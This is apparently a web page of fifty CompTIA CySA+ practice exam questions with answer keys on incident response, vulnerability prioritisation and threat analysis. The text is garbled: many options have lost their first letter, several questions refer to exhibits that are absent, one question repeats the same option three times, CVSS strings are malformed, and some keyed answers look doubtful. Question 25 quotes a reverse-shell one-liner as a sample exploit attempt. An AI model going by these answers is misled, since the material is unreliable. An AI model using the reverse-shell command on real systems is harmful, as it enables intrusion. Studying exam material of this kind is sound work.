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Free CompTIA CS0-004 Practice Questions & Answers 2026 Part2 | CompTIA CySA+

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Question #1
Which of the following tools would work best to prevent the exposure of PII outside of an organization?
A. PAM
B. IDS
C. PKI
D. DLP
View answer
Correct Answer: D

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Question #2
A vulnerability scanner identifies a library with the following metadata: Library: Log4j 2.14 Known CVE: Critical Patch Available: Yes What should the analyst recommend?
A. Remove endpoint protection
B. Ignore because Java is sandboxed
C. Upgrade to the patched version immediately
D. Disable vulnerability scanning
View answer
Correct Answer: C
Question #3
A security operations center analyst is reviewing a scan report and must prioritize items for remediation based on severity:The Chief Information Security Officer requires the following:* Encryption in transit* Encryption at rest* Encryption of customer dataWhich of the following databases should the analyst remediate first?
A. atabase3
B. atabase2
C. atabaset
D. atabase4
View answer
Correct Answer: D
Question #4
Which of the following describes the best reason for conducting a root cause analysis?
A. The root cause analysis ensures that proper timelines were documented
B. The root cause analysis allows the incident to be properly documented for reporting
C. The root cause analysis develops recommendations to improve the process
D. The root cause analysis identifies the contributing items that facilitated the event
View answer
Correct Answer: D
Question #5
An analyst is reviewing a vulnerability report for a server environment with the following entries:Which of the following systems should be prioritized for patching first?
A. 10
B. 54
C. 54
D. 54
View answer
Correct Answer: D
Question #6
A SOC manager receives a phone call from an upset customer. The customer received a vulnerability report two hours ago: but the report did not have a follow-up remediation response from an analyst. Which of the following documents should the SOC manager review to ensure the team is meeting the appropriate contractual obligations for the customer?
A. SLA
B. MOU
C. NDA
D. Limitation of liability
View answer
Correct Answer: A
Question #7
A company's security team is updating a section of the reporting policy that pertains to inappropriate use of resources (e.g., an employee who installs cryptominers on workstations in the office). Besides the security team, which of the following groups should the issue be escalated to first in order to comply with industry best practices?
A. Help desk
B. Law enforcement
C. Legal department
D. Board member
View answer
Correct Answer: C
Question #8
An incident response team found IoCs in a critical server. The team needs to isolate and collect technical evidence for further investigation. Which of the following pieces of data should be collected first in order to preserve sensitive information before isolating the server?
A. Hard disk
B. Primary boot partition
C. Malicious files
D. Routing table
E. Static IP address
View answer
Correct Answer: D
Question #9
A recent zero-day vulnerability is being actively exploited, requires no user interaction or privilege escalation, and has a significant impact to confidentiality and integrity but not to availability. Which of the following CVE metrics would be most accurate for this zero-day threat?
A. VSS:31/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:K/A:L
B. VSS:31/AV:K/AC:L/PR:H/UI:R/S:C/C:H/I:H/A:L
C. VSS:31/AV:N/AC:L/PR:N/UI:H/S:U/C:L/I:N/A:H
D. VSS:31/AV:L/AC:L/PR:R/UI:R/S:U/C:H/I:L/A:H
View answer
Correct Answer: A
Question #10
A security analyst discovers an LFI vulnerability that can be exploited to extract credentials from the underlying host. Which of the following patterns can the security analyst use to search the web server logs for evidence of exploitation of that particular vulnerability?
A. /etc/shadow
B. curl localhost
C. ; printenv
D. cat /proc/self/
View answer
Correct Answer: A
Question #11
A vulnerability scan shows the following issues:Asset TypeCVSS ScoreExploit VectorWorkstations6.5RDP vulnerabilityStorage Server9.0Unauthorized access due to server application vulnerabilityFirewall8.9Default password vulnerabilityWeb Server10.0Zero-day vulnerability (vendor working on patch)Which of the following actions should the security analyst take first?
A. ontact the web systems administrator and request that they shut down the asset
B. onitor the patch releases for all items and escalate patching to the appropriate team
C. orward the advisory to the web security team and initiate the prioritization strategy for the other vulnerabilities
D. un the vulnerability scan again to verify the presence of the critical finding
View answer
Correct Answer: D
Question #12
Which of the following would help an analyst to quickly find out whether the IP address in a SIEM alert is a known-malicious IP address?
A. Join an information sharing and analysis center specific to the company's industry
B. Upload threat intelligence to the IPS in STIX/TAXII format
C. Add data enrichment for IPS in the ingestion pipleline
D. Review threat feeds after viewing the SIEM alert
E. Reveal Answer
View answer
Correct Answer: C
Question #13
An organization conducted a web application vulnerability assessment against the corporate website, and the following output was observed:Which of the following tuning recommendations should the security analyst share?
A. et an HttpOnly flag to force communication by HTTPS
B. lock requests without an X-Frame-Options header
C. onfigure an Access-Control-Allow-Origin header to authorized domains
D. isable the cross-origin resource sharing header
View answer
Correct Answer: C
Question #14
The Chief Executive Officer of an organization recently heard that exploitation of new attacks in the industry was happening approximately 45 days after a patch was released. Which of the following would best protect this organization?
A. mean time to remediate of 30 days
B. mean time to detect of 45 days
C. mean time to respond of 15 days
D. hird-party application testing
View answer
Correct Answer: A
Question #15
An incident response team member is triaging a Linux server. The output is shown below:Which of the following is the adversary most likely trying to do?
A. Create a backdoor root account named zsh
B. Execute commands through an unsecured service account
C. Send a beacon to a command-and-control server
D. Perform a denial-of-service attack on the web server
View answer
Correct Answer: B
Question #16
A cybersecurity team lead is developing metrics to present in the weekly executive briefs. Executives are interested in knowing how long it takes to stop the spread of malware that enters the network. Which of the following metrics should the team lead include in the briefs?
A. Mean time between failures
B. Mean time to detect
C. Mean time to remediate
D. Mean time to contain
View answer
Correct Answer: C
Question #17
A new cybersecurity analyst is tasked with creating an executive briefing on possible threats to the organization. Which of the following will produce the data needed for the briefing?
A. irewall logs
B. ndicators of compromise
C. isk assessment
D. ccess control lists
View answer
Correct Answer: C
Question #18
Which of the following is most appropriate to use with SOAR when the security team would like to automate actions across different vendor platforms?
A. STIX/TAXII
B. APIs
C. Data enrichment
D. Threat feed
View answer
Correct Answer: B
Question #19
An end-of-life date was announced for a widely used OS. A business-critical function is performed by some machinery that is controlled by a PC, which is utilizing the OS that is approaching the end-of-life date. Which of the following best describes a security analyst's concern?
A. Any discovered vulnerabilities will not be remediated
B. An outage of machinery would cost the organization money
C. Support will not be available for the critical machinery
D. There are no compensating controls in place for the OS
View answer
Correct Answer: A
Question #20
A security team conducts a lessons-learned meeting after struggling to determine who should conduct the next steps following a security event. Which of the following should the team create to address this issue?
A. Service-level agreement
B. Change management plan
C. Incident response plan
D. Memorandum of understanding
View answer
Correct Answer: C
Question #21
Which of the following phases of the Cyber Kill Chain involves the adversary attempting to establish communication with a successfully exploited target?
A. Command and control
B. Actions on objectives
C. Exploitation
D. Delivery
View answer
Correct Answer: A
Question #22
A company receives a penetration test report summary from a third party. The report summary indicates a proxy has some patches that need to be applied. The proxy is sitting in a rack and is not being used, as the company has replaced it with a new one. The CVE score of the vulnerability on the proxy is a 9.8. Which of the following best practices should the company follow with this proxy?
A. Leave the proxy as is
B. Decomission the proxy
C. Migrate the proxy to the cloud
D. Patch the proxy
View answer
Correct Answer: B
Question #23
A security analyst is tasked with prioritizing vulnerabilities for remediation. The relevant company security policies are shown below:Security Policy 1006: Vulnerability Management1. The Company shall use the CVSSv3.1 Base Score Metrics (Exploitability and Impact) to prioritize theremediation of security vulnerabilities.2. In situations where a choice must be made between confidentiality and availability, the Company shall prioritize confidentiality of data over availability of systems and data.3. The Company shall prioritize patching of publicly available systems and services over patching of internally available system.According to the security policy, which of the following vulnerabilities should be the highest priority to patch?
A. Name: THOR
B. Name: CAP
C. Name: LOKI
D. Name: THANOS
View answer
Correct Answer: B
Question #24
Due to reports of unauthorized activity that was occurring on the internal network, an analyst is performing a network discovery. The analyst runs an Nmap scan against a corporate network to evaluate which devices were operating in the environment. Given the following output:Which of the following choices should the analyst look at first?
A. wh4dc-748gy
B. officerokuplayer
C. imaging
D. xlaptop
E. p4wnp1_aloa
View answer
Correct Answer: E
Question #25
A security analyst detects an exploit attempt containing the following command: sh -i >& /dev/udp/10.1.1.1/4821 0>$lWhich of the following is being attempted?
A. CE
B. everse shell
C. SS
D. QL injection
View answer
Correct Answer: B
Question #26
A systems administrator is reviewing after-hours traffic flows from data center servers and sees regular, outgoing HTTPS connections from one of the servers to a public IP address. The server should not be making outgoing connections after hours. Looking closer, the administrator sees this traffic pattern around the clock during work hours as well. Which of the following is the most likely explanation?
A. Command-and-control beaconing activity
B. Data exfiltration
C. Anomalous activity on unexpected ports
D. Network host IP address scanning
E. A rogue network device
View answer
Correct Answer: A
Question #27
Which of the following security operations tasks are ideal for automation?
A. Suspicious file analysis:Look for suspicious-looking graphics in a folder
B. Firewall IoC block actions:Examine the firewall logs for IoCs from the most recently published zero-day exploitTake mitigating actions in the firewall to block the behavior found in the logsFollow up on any false positives that were caused by the block rules
C. Security application user errors:Search the error logs for signs of users having trouble with the security applicationLook up the user's phone numberCall the user to help with any questions about using the application
D. Email header analysis:Check the email header for a phishing confidence metric greater than or equal to fiveAdd the domain of sender to the block listMove the email to quarantine
View answer
Correct Answer: D
Question #28
A recent zero-day vulnerability is being actively exploited, requires no user interaction or privilege escalation, and has a significant impact to confidentiality and integrity but not to availability. Which of the following CVE metrics would be most accurate for this zero-day threat?
A. CVSS:31/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:L
B. CVSS:31/AV:N/AC:L/PR:H/UI:R/S:C/C:H/I:H/A:L
C. CVSS:31/AV:N/AC:L/PR:N/UI:H/S:U/C:L/I:N/A:H
D. CVSS:31/AV:L/AC:L/PR:R/UI:R/S:U/C:H/I:L/A:H
View answer
Correct Answer: A
Question #29
A network security analyst for a large company noticed unusual network activity on a critical system. Which of the following tools should the analyst use to analyze network traffic to search for malicious activity?
A. WAF
B. Wireshark
C. EDR
D. Nmap
View answer
Correct Answer: B
Question #30
Which of the following is the first step that should be performed when establishing a disaster recovery plan?
A. Agree on the goals and objectives of the plan
B. Determine the site to be used during a disaster
C. Demonstrate adherence to a standard disaster recovery process
D. Identify applications to be run during a disaster
View answer
Correct Answer: A
Question #31
After conducting a cybersecurity risk assessment for a new software request, a Chief Information Security Officer (CISO) decided the risk score would be too high. The CISO refused the software request. Which of the following risk management principles did the CISO select?
A. Avoid
B. Transfer
C. Accept
D. Mitigate
View answer
Correct Answer: A
Question #32
An incident response team is working with law enforcement to investigate an active web server compromise. The decision has been made to keep the server running and to implement compensating controls for a period of time. The web service must be accessible from the internet via the reverse proxy and must connect to a database server. Which of the following compensating controls will help contain the adversary while meeting the other requirements? (Choose two).
A. Drop the tables on the database server to prevent data exfiltration
B. Deploy EDR on the web server and the database server to reduce the adversary's capabilities
C. Stop the httpd service on the web server so that the adversary cannot use web exploits
D. Use microsegmentation to restrict connectivity to/from the web and database servers
E. Comment out the HTTP account in the /etc/passwd file of the web server
F. Move the database from the database server to the web server
View answer
Correct Answer: BD
Question #33
A security analyst recently joined the team and is trying to determine which scripting language is being used in a production script to determine if it is malicious. Given the following script:Which of the following scripting languages was used in the script?
A. PowerShell
B. Ruby
C. Python
D. Shell script
View answer
Correct Answer: A
Question #34
A company is in the process of implementing a vulnerability management program. Which of the following scanning methods should be implemented to minimize the risk of OT/ICS devices malfunctioning due to the vulnerability identification process?
A. Non-credentialed scanning
B. Passive scanning
C. Agent-based scanning
D. Credentialed scanning
View answer
Correct Answer: B
Question #35
An organization is developing a threat intelligence program and wants to improve confidence in the intelligence it receives. Which TWO characteristics should analysts evaluate? (Choose two.)
A. Timeliness
B. Screen resolution
C. Accuracy
D. Network latency
E. Printer availability
View answer
Correct Answer: AC
Question #36
When starting an investigation, which of the following must be done first?
A. Notify law enforcement
B. Secure the scene
C. Seize all related evidence
D. Interview the witnesses
View answer
Correct Answer: B
Question #37
An incident response team receives an alert to start an investigation of an internet outage. Theoutage is preventing all users in multiple locations from accessing external SaaS resources. The teamdetermines the organization was impacted by a DDoS attack. Which of the following logs should theteam review first?
A. DN
B. ulnerability scanner
C. NS
D. eb server
View answer
Correct Answer: C
Question #38
A malicious actor has gained access to an internal network by means of social engineering. The actordoes not want to lose access in order to continue the attack. Which of the following best describesthe current stage of the Cyber Kill Chain that the threat actor is currently operating in?
A. eaponization
B. econnaissance
C. elivery
D. xploitation
View answer
Correct Answer: D
Question #39
A cloud team received an alert that unauthorized resources were being auto-provisioned. After investigating, the team suspects that cryptomining is occurring. Which of the following indicators would most likely lead the team to this conclusion?
A. High GPU utilization
B. Bandwidth consumption
C. Unauthorized changes
D. Unusual traffic spikes
View answer
Correct Answer: A
Question #40
Which of the following will most likely ensure that mission-critical services are available in the event of an incident?
A. usiness continuity plan
B. ulnerability management plan
C. isaster recovery plan
D. sset management plan
View answer
Correct Answer: A
Question #41
You notice a high number of SQL injection attacks against a web application run by your organization and you install a web application firewall to block many of these attacks before they reach the server. How have you altered the severity of this risk?
A. Reduced the probability
B. Eliminated the vulnerability
C. Reduced the magnitude
D. Eliminated the threat
View answer
Correct Answer: A
Question #42
Why is establishing an incident timeline important?
A. It reconstructs attacker activity in chronological order
B. It calculates software licensing costs
C. It replaces vulnerability scanning
D. It documents employee attendance
View answer
Correct Answer: A
Question #43
A security analyst reviews the following results of a Nikto scan:
A. tiki
B. phpList
C. shtml
D. sshome
View answer
Correct Answer: C
Question #44
While reviewing web server logs, a security analyst found the following line:Which of the following malicious activities was attempted?
A. Command injection
B. XML injection
C. Server-side request forgery
D. Cross-site scripting
View answer
Correct Answer: D
Question #45
Following an attack, an analyst needs to provide a summary of the event to the Chief Information Security Officer. The summary needs to include the who-what-when information and evaluate the effectiveness of the plans in place. Which of the following incident management life cycle processesdoes this describe?
A. Business continuity plan
B. Lessons learned
C. Forensic analysis
D. Incident response plan
E. Reveal Answer
View answer
Correct Answer: B
Question #46
A technician is analyzing output from a popular network mapping tool for a PCI audit:Which of the following best describes the output?
A. The host is not up or responding
B. The host is running excessive cipher suites
C. The host is allowing insecure cipher suites
D. The Secure Shell port on this host is closed
View answer
Correct Answer: C
Question #47
Which of the following will most likely ensure that mission-critical services are available in the event of an incident?
A. Business continuity plan
B. Vulnerability management plan
C. Disaster recovery plan
D. Asset management plan
View answer
Correct Answer: A
Question #48
A user downloads software that contains malware onto a computer that eventually infects numerous other systems. Which of the following has the user become?
A. Hacktivist
B. Advanced persistent threat
C. Insider threat
D. Script kiddie
View answer
Correct Answer: C
Question #49
The Chief Information Security Officer is directing a new program to reduce attack surface risks and threats as part of a zero trust approach. The IT security team is required to come up with priorities for the program.
A. Reduce the administrator and privileged access accounts
B. Employ a network-based IDS
C. Conduct thorough incident response
D. Enable SSO to enterprise applications
View answer
Correct Answer: A
Question #50
Forensic data is most often used for what type of threat assessment data?
A. STIX
B. Behavioral
C. IOCs
D. TAXII
View answer
Correct Answer: C

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